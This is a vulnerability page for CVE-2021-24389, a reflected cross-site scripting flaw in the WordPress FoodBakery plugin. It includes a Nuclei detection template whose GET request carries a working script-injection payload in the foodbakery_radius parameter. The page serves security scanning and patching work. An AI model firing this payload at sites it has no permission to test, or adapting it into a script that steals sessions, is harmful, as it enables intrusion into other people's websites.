WordPress FoodBakery <2.2 - Cross-Site Scripting

ID: CVE-2021-24389

Severity: medium

Author: daffainfo

Tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,chimpgroup

Description

WordPress FoodBakery before 2.2 contains an unauthenticated reflected cross-site scripting vulnerability. It does not properly sanitize the foodbakery_radius parameter before outputting it back in the response.

YAML Source

id: CVE-2021-24389

info:
  name: WordPress FoodBakery <2.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress FoodBakery before 2.2 contains an unauthenticated reflected cross-site scripting vulnerability. It does not properly sanitize the foodbakery_radius parameter before outputting it back in the response.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress FoodBakery plugin to version 2.2 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/23b8b8c4-cded-4887-a021-5f3ea610213b
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24389
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24389
    cwe-id: CWE-79
    epss-score: 0.00168
    epss-percentile: 0.526
    cpe: cpe:2.3:a:chimpgroup:foodbakery:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: chimpgroup
    product: foodbakery
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,chimpgroup

http:
  - method: GET
    path:
      - '{{BaseURL}}/listings/?search_title=&location=&foodbakery_locations_position=filter&search_type=autocomplete&foodbakery_radius=10%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100950dac92197f1e45c53dc0912bd6636904f57e05b9e2cc460883df05df897400022100aad90cfe2ca178aaaa2bac5d4c968b36d4428287cd4e33ac6f275148c9a3ceb3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-24389.yaml"

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